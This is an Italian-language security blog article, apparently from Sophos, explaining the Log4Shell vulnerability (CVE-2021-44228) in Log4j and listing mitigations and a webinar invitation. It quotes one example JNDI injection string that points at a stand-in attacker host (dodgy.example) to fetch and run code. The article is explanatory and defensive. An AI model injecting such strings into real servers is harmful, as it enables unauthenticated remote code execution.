Proprio quando pensavi che fosse sicuro rilassarsi per il fine settimana…
… le tue decorazioni natalizie per la sicurezza informatica si sono illuminate con l’ultimo bug dall’eccentrico nome: Log4Shell.
A quanto pare, le prime segnalazioni del bug lo chiamavano “LogJam”, perché ti consente di intasare (JAM) di richieste di download dubbie i file di LOG.
Ma il nome LogJam era già stato usato (in quel caso, LOG si riferiva a logaritmi, quelli eseguiti nei calcoli crittografici, non ai file di log).
Così è diventato Log4Shell.
Il nome Log4Shell nasce dal fatto che questo bug è presente in una popolare libreria di codici Java chiamata Log4j (Logging for Java) e dal fatto che, se sfruttato con successo, gli aggressori ottengono quella che è effettivamente una shell, un modo per eseguire qualsiasi codice di sistema a loro scelta.
Sfortunatamente, la vulnerabilità è stata twittata come un bug zero-day (il nome che si dà a un bug di sicurezza che è stato documentato prima dell’uscita di una patch) e pubblicata come proof-of-concept (PoC) su GitHub, quindi il mondo è arrivato per la prima volta a sentirne parlare mentre era ancora senza patch.
Convalida di input errato
Il bug, ora ufficialmente denominato CVE-2021-44228, comporta l’invio di una richiesta a un server vulnerabile in cui si includono alcuni dati, ad esempio un’intestazione HTTP, che si prevede (o si sa) che il server scriverà nel proprio file di log.
Ma si collocano quei dati in modo che il server, mentre li arrangia in un formato adatto per il logging, avvii un download Web come parte integrante della costruzione del log entry necessario.
E non un download qualsiasi: se i dati che ritornano sono un programma Java valido (un file .class, in gergo), allora il server esegue quel file per “aiutarlo” a generare i dati di log.
Il trucco è che, per impostazione predefinita, le versioni senza patch della libreria Log4j consentono alle richieste di logging di attivare ricerche LDAP (servizi di directory) generiche, nonché varie altre ricerche online.
Questa “funzione” esiste per aiutarti a convertire dati non molto utili, ad esempio ID utente come OZZJ5JYPVK, in informazioni accessibili all’uomo che hanno senso sulla tua rete, come Paul Ducklin.
Queste richieste avvengono tramite un toolkit Java comunemente usato noto come JNDI, abbreviazione di Java Naming and Directory Interface, che è un modulo Java che rende facile per il codice Java eseguire ricerche online come la conversione del summenzionato user-ID in un nome reale.
Sembra pericoloso, e lo è, perché significa che i dati registrati possono attivare l’esecuzione di codice lato server, ma tu potresti considerare la cosa per lo più innocua se quelle “richieste di supporto” raggiungono solo server totalmente affidabili all’interno della tua rete.
Ma molti server non sono configurati in questo modo, quindi “logsploiter” dannosi potrebbero provare a incorporare testo come {$jndi:ldap://dodgy.example:389/badcode} nei dati che si aspettano che tu registri…
…nella speranza che, nel processo di logging dei dati, il tuo server automaticamente:
- Utilizzi JNDI per effettuare una richiesta LDAP alla porta specificata (389 nel nostro esempio) sul server esterno untrusted specificato (dodgy.example sopra),
- Recuperi il contenuto dubbio dalla posizione “badcode”su quel server ed
- Esegua il codice fornito dall’aggressore per “aiutarti” con il tuo logging.
In poche parole, questo è ciò che in gergo si chiama esecuzione di codice remoto non autenticato (RCE).
Senza effettuare l’accesso o senza aver bisogno di una password o di un token di accesso, i criminali informatici potrebbero utilizzare una richiesta dall’aspetto innocente per indurre il tuo server a mettersi in comunicazione, scaricare il loro codice e infettarsi con il loro malware.
A seconda del tipo di diritti di accesso che il tuo server ha sulla tua rete interna, un RCE come questo potrebbe aiutare i criminali informatici a eseguire una vasta gamma di attività nefaste.
Come puoi immaginare, gli aggressori potrebbero, in teoria: far trapelare dati dal server stesso; conoscere i dettagli sulla rete interna a cui è connesso; modificare i dati sul server; estrarre i dati da altri server della rete; aprire ulteriori backdoor sul server o sulla rete per attacchi futuri; impiantare malware aggiuntivo come snooper, scraper di memoria, data stealer, cryptominer…
…e così via.
Cosa fare?
Apache, che si occupa del prodotto Log4j, ha pubblicato un pratico avviso di sicurezza sul problema.
I passaggi consigliati che puoi eseguire includono:
- Aggiornamento ad Apache Log4j 2.15.0. Se stai usando Log4j, qualsiasi versione 2.x dalla 2.14.1 è apparentemente vulnerabile per impostazione predefinita.
- Se stai ancora utilizzando Log4j 1.x, non farlo, perché è completamente non supportato. Nota che Log4j 1.x ha un proprio bug in stile Log4Shell, soprannominato CVE-2021-4104, quindi la mancanza di supporto per questa versione significa che probabilmente questo bug non verrà mai corretto. Devi passare all’ultima versione (2.15.0) se prevedi di continuare a usare Log4j.
- Impedisci a JNDI di effettuare richieste a server untrusted. Se non puoi eseguire l’aggiornamento, ma stai utilizzando Log4j 2.10.0 o successivo, puoi impostare il valore di configurazione log4j2.formatMsgNoLookups su true, che impedisce in primo luogo l’esecuzione di query LDAP e simili.
Per informazioni sul problema Log4shell e sui servizi Sophos, consulta il nostro Security Advisory SOPHOS-SA-20211210-log4j-rce.
Per approfondire l’argomento partecipa al webinar di martedì 21 dicembre 2021 alle ore 10:00.
Walter Narisoni, Sales Engineer Leader for South EMEA, fornirà alcuni importanti approfondimenti su:
- Come gli attaccanti hanno sfruttato queste vulnerabilità
- Come determinare se la tua organizzazione è stata colpita
- Quali azioni di risposta intraprendere
- Come difendersi al meglio da future minacce di questo tipo
REGISTRATI SUBITO AL WEBINAR COLLEGANDOTI A QUESTO LINK
